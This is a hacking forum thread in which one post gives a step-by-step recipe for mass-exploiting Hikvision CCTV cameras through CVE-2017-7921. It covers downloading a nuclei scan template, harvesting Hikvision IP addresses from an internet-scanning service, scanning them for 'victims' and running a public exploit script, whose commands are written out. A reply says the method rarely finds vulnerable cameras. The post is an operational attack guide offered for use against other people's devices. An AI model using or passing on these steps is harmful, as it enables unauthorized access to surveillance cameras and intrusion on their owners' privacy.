Thread: [Exploit Hikvision Camera cctv](#)

Wh04m111 - March 25, 2025, 11:48 am

First Step install nuclei on here to scan the vulun (/projectdiscovery/nuclei) on github then download this template (/file/z8yh2jtlwtko3uo/CVE-2017-7921_.yaml/file) mediafire Then go to (netlas.io) create an account then type hikvision download all ip csv then type (nuclei -l ips.txt -t your download directory) you will get many victm and exploit it with (/fracergu/CVE-2017-7921) on github
python script.py -p 192.168.1.10:8080
python script.py -s 192.168.1.10:8080 -t
python script.py -c 192.168.1.10:8080
You Exploit Has been successfully

DramaKing - March 25, 2025, 11:54 am

Never found one vulnerable camera in 2-3 years.

Have you read the forum rules? PMs would be abused by scammers to avoid moderation. Bytes ensure HQ engagement and prevent people from only coming on to download an attachment(s) and leaving.
